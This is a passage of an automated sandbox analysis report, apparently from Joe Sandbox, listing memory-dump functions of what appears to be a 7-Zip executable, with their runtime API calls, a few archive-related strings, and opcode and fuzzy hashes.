. , xrefs: 00C4B6AC

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memmovestrcmp$CountTickfputsfreewcscmp
String ID: .
API String ID: 591578422-4150638102
Opcode ID: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction ID: a5f1fae06813025d61e9b9f21ddb51258c376ed983dff37238808efe95212733
Opcode Fuzzy Hash: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction Fuzzy Hash: 90A17877700A85EBCB29DF2AD69065DB361F794B84F808026DB6A47B50DF34E9B6C700

Function 00C29D98 Relevance: 12.1, APIs: 8, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00C29BCC: free.MSVCRT ref: 00C29C11
Part of subcall function 00C29BCC: free.MSVCRT ref: 00C29C19
Part of subcall function 00C29BCC: free.MSVCRT ref: 00C29C3B

Part of subcall function 00C29BCC: free.MSVCRT ref: 00C29D2A

wcscmp.MSVCRT ref: 00C29E66
free.MSVCRT ref: 00C29ECA
free.MSVCRT ref: 00C29ED4
free.MSVCRT ref: 00C29F13
free.MSVCRT ref: 00C29F1B
free.MSVCRT ref: 00C29F28
free.MSVCRT ref: 00C29F49
free.MSVCRT ref: 00C29F51

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmovewcscmp
String ID:
API String ID: 3584677832-0
Opcode ID: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
Instruction ID: d34007e644ce95bada3fb2412c47b36047006999d07f08102fb3a9bb211834ed
Opcode Fuzzy Hash: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
Instruction Fuzzy Hash: 8C410472304B9091CA10EF12F88415EA725F785BE8F451226EF2E4BBA9DF38C94AC300

Function 00C42ECC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C42F7E
fputs.MSVCRT ref: 00C42F9D
free.MSVCRT ref: 00C42FB6
free.MSVCRT ref: 00C42FC1

Part of subcall function 00C02C78: free.MSVCRT ref: 00C02CAE

Part of subcall function 00C02320: free.MSVCRT ref: 00C0237E
Part of subcall function 00C02320: fputs.MSVCRT ref: 00C023B8
Part of subcall function 00C02320: free.MSVCRT ref: 00C023C4

free.MSVCRT ref: 00C42FCC

Strings

= , xrefs: 00C42F96

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$fputs
String ID: =
API String ID: 2444650769-2525689732
Opcode ID: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
Instruction ID: a2988edc2988986f58db4dfeb6cb7d0b6077f6b1818c89891e794543d0eadc33
Opcode Fuzzy Hash: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
Instruction Fuzzy Hash: D521A623214950C1DA20EF66E89166EA730FBD57E0F845222FF5E437B9DF28C949D700

Function 00C4E16E Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00C4E1C2
__setusermatherr.MSVCRT ref: 00C4E211
_initterm.MSVCRT ref: 00C4E225
__getmainargs.MSVCRT ref: 00C4E256
_initterm.MSVCRT ref: 00C4E26A
_cexit.MSVCRT ref: 00C4E29D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction ID: 1ee4895142e7ed578211dbff63ad0a6fd38e400aab05f5e337a4b885d60ea6ed
Opcode Fuzzy Hash: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction Fuzzy Hash: D0314C75214B41CAFB50DF29E8A0B5A7761F3847A4F51132AE6AA436B4DF3CC849CB00

Function 00C4E1A6 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00C4E1C2
__setusermatherr.MSVCRT ref: 00C4E211
_initterm.MSVCRT ref: 00C4E225
__getmainargs.MSVCRT ref: 00C4E256
_initterm.MSVCRT ref: 00C4E26A
_cexit.MSVCRT ref: 00C4E29D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 7db796ba8cfdb6b5853d66206db7ed726ccae3b0342814db405407e5cde14133
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: C8210A75214B45D6FB10DF29E8A0B5A7761F7847A4F50132AEAAA437B4DF3CC84ACB00

Function 00C4E15A Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00C4E1C2
__setusermatherr.MSVCRT ref: 00C4E211
_initterm.MSVCRT ref: 00C4E225
__getmainargs.MSVCRT ref: 00C4E256
_initterm.MSVCRT ref: 00C4E26A
_cexit.MSVCRT ref: 00C4E29D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 7db796ba8cfdb6b5853d66206db7ed726ccae3b0342814db405407e5cde14133
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: C8210A75214B45D6FB10DF29E8A0B5A7761F7847A4F50132AEAAA437B4DF3CC84ACB00

Function 00C4E139 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00C4E1C2
__setusermatherr.MSVCRT ref: 00C4E211
_initterm.MSVCRT ref: 00C4E225
__getmainargs.MSVCRT ref: 00C4E256
_initterm.MSVCRT ref: 00C4E26A
_cexit.MSVCRT ref: 00C4E29D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 7db796ba8cfdb6b5853d66206db7ed726ccae3b0342814db405407e5cde14133
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: C8210A75214B45D6FB10DF29E8A0B5A7761F7847A4F50132AEAAA437B4DF3CC84ACB00

Function 00C24610 Relevance: 8.8, APIs: 7, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00C33EE0: free.MSVCRT ref: 00C33F45

free.MSVCRT ref: 00C24633
free.MSVCRT ref: 00C2463C
free.MSVCRT ref: 00C24646
free.MSVCRT ref: 00C24672
free.MSVCRT ref: 00C2467A
free.MSVCRT ref: 00C24687
free.MSVCRT ref: 00C246BA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction ID: bd7af898966c81f2ca6ae2329b9ea2ac4e5436412c12237265f3f31ae3d13c71
Opcode Fuzzy Hash: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction Fuzzy Hash: 2C113D72751BA4D7CA24BF22E95512D2320EB93BA07185222EF3D17BD5DF64CD62C344

Function 00C2419C Relevance: 8.8, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C241B9
free.MSVCRT ref: 00C241C5
free.MSVCRT ref: 00C241D1
free.MSVCRT ref: 00C241DD
free.MSVCRT ref: 00C241E6
free.MSVCRT ref: 00C241EF
free.MSVCRT ref: 00C241F8

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction ID: febc736387b8167a870ef17b7c4ea4ea7380ddabf744d70196c026a5868d2986
Opcode Fuzzy Hash: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction Fuzzy Hash: 56117532311A54C6CF18EF76D8A522C7360FB81F99B145662AB7E4B7A5CF24C846D384

Function 00C33A42 Relevance: 7.7, APIs: 6, Instructions: 151COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C33C0C
free.MSVCRT ref: 00C33C17
free.MSVCRT ref: 00C33C22
free.MSVCRT ref: 00C33C77
free.MSVCRT ref: 00C33C82

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction ID: 06e27f6691edec29ce088b28364ff91ae09fd7f1f1aad0f358c4150246ca5b61
Opcode Fuzzy Hash: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction Fuzzy Hash: 4A512872200A8491CF10EF25E4906AE6721F7C9FC8F905123EE5E97769DF78CA8AD741

Function 00C41544 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C415D5

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

Strings

Extracting archive: , xrefs: 00C415C7
Open, xrefs: 00C41604
Testing archive: , xrefs: 00C415C0

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$memset
String ID: Extracting archive: $Open$Testing archive:
API String ID: 3543874852-295398807
Opcode ID: 57ce32b18a297629e4857599c7fb9a690bf538672504f27dd934718ea67813a2
Instruction ID: 35226d1d1d0b32deec86e4b61c7d2760eb7ea4e1dd32671082e2c937db30ade8
Opcode Fuzzy Hash: 57ce32b18a297629e4857599c7fb9a690bf538672504f27dd934718ea67813a2
Instruction Fuzzy Hash: AD11C126342A8284EF54DB29D898BEC2364F748B98F5C85369E1D4B260EF39C5CAD310

Function 00C42E24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C42E47
fputs.MSVCRT ref: 00C42E57
free.MSVCRT ref: 00C42EA4

Part of subcall function 00C42CFC: fputs.MSVCRT ref: 00C42D41
Part of subcall function 00C42CFC: fputs.MSVCRT ref: 00C42DCF
Part of subcall function 00C42CFC: free.MSVCRT ref: 00C42DFF

Strings

= , xrefs: 00C42E50

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$free
String ID: =
API String ID: 3873070119-2525689732
Opcode ID: 5f170de45124cbf05d2114cb4ce541d5ab7e7f6622d8dac823fc30cd2b14e81d
Instruction ID: 2698c91c38fc5ff6074768f21b5b9815c2e0cd78e134b68bfdab1442a343b155
Opcode Fuzzy Hash: 5f170de45124cbf05d2114cb4ce541d5ab7e7f6622d8dac823fc30cd2b14e81d
Instruction Fuzzy Hash: 13F086A2304A0080EE20EB66E99577E5311BBC5FF4F449311BE6E07BE8DE28C946D700

Function 00C349B0 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C34A5C
free.MSVCRT ref: 00C34A67
free.MSVCRT ref: 00C34AE4

Part of subcall function 00C03314: memmove.MSVCRT ref: 00C03339

free.MSVCRT ref: 00C34B0F
free.MSVCRT ref: 00C34B1A

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
Instruction ID: e1e7401b7317e9cd1a7be7f824f58a1bd004756a92c64e5f4e8b0d2e0c60ff98
Opcode Fuzzy Hash: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
Instruction Fuzzy Hash: 5141BF33214B8491CB14EF26D4503AE7764F78AB84F481132EB8E47769DF38C996D354

Function 00C4E120 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction ID: 751e026e5c87dcb56d663af9177d888007d6980b427f972a2eeffd8f3b08fce8
Opcode Fuzzy Hash: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction Fuzzy Hash: A931D776214B45D6FB10DF28E890B6A7760F784BA4F51532AE6A9437B4DF38C986CB00

Function 00C02320 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0237E
free.MSVCRT ref: 00C023AB
fputs.MSVCRT ref: 00C023B8
free.MSVCRT ref: 00C023C4

Part of subcall function 00C03274: memmove.MSVCRT ref: 00C032AC

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$fputsmemmove
String ID:
API String ID: 4106585527-0
Opcode ID: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction ID: 8a0d662d50532afc46b17a78878c89e2eead62f0eed52f4ca18781ed18d87dbf
Opcode Fuzzy Hash: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction Fuzzy Hash: 5401A57330854081DE20AB25E85455E6721E7C5BF0F046322BA6F876F8DE28CA86D740

Function 00C068A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE ref: 00C068C7
SetFileAttributesW.KERNEL32 ref: 00C06903
free.MSVCRT ref: 00C06913
free.MSVCRT ref: 00C06921

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction ID: 16cca66301a91cfd9043b8750c00457577478c6cdf69e4e73c6ce9df9eaf0500
Opcode Fuzzy Hash: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction Fuzzy Hash: 1D01A222304711C2DA30AF25D59037E17649B897F4F184321AE79877E5CE28CE97E711

Function 00C07D4C Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE ref: 00C07D6E
GetFileAttributesW.KERNEL32 ref: 00C07DA5
free.MSVCRT ref: 00C07DB2
free.MSVCRT ref: 00C07DC0

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
Instruction ID: df5e9ca47a92cdb69ae5b9f3aae13d18253f30aa6ca51d26fa62eda5948ccdf0
Opcode Fuzzy Hash: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
Instruction Fuzzy Hash: 1BF0442660874582CA34AB35A9A427D1220ABC97F4F544321EA79877F5DF18CE86D740

Function 00C23E14 Relevance: 5.1, APIs: 4, Instructions: 142COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C23F66
memmove.MSVCRT ref: 00C23F8B
free.MSVCRT ref: 00C24028
free.MSVCRT ref: 00C24033

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
Instruction ID: 74bac76eb37b86439d41143c348b40bce7d2e10e745c1860b0670ec1690d0da7
Opcode Fuzzy Hash: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
Instruction Fuzzy Hash: 82518C72704A9097CA30DF1AE88029DB361F789BD4F404226EB9E47F59DF38D5A6CB40

Function 00C29BCC Relevance: 5.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C29C11
free.MSVCRT ref: 00C29C19
free.MSVCRT ref: 00C29C3B
free.MSVCRT ref: 00C29D2A

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
Instruction ID: 43c1288f86c769dc3fef44fad03a0fed5ab5db1b853863403f0800df4e7493c7
Opcode Fuzzy Hash: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
Instruction Fuzzy Hash: D831B2737156A486CB20DF16E48442E67A1F7887A0F589235EF9E47B98DB38C941C700

Function 00C2A9FC Relevance: 5.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C2AA95
free.MSVCRT ref: 00C2AAB8
free.MSVCRT ref: 00C2AAC5
free.MSVCRT ref: 00C2AAD2

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
